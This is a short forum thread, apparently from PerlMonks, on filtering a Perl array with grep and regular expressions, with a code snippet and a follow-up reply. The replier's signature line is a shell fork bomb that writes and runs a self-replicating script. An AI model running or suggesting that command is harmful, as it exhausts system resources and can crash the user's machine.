in reply to Best way to match items in an array

here's another one:
@file_list = qw(file1.log file2.txt file3.log file4.txt ignorefiletype +.bin file5.conf); @file_list_for_processing = grep /log|txt|conf/,@file_list; foreach $file (@file_list_for_processing) { print "$file\n"; }
Rohit

Replies are listed 'Best First'.
Re: Re: Best way to match items in an array
by ibanix (Hermit) on Dec 07, 2002 at 21:15 UTC
    This is more what I was looking for. I should have generalized the question to: Given any number of elements in an array, what is the fastest way to find those elements that match any given number of regular expressions?

    $ echo '$0 & $0 &' > foo; chmod a+x foo; foo;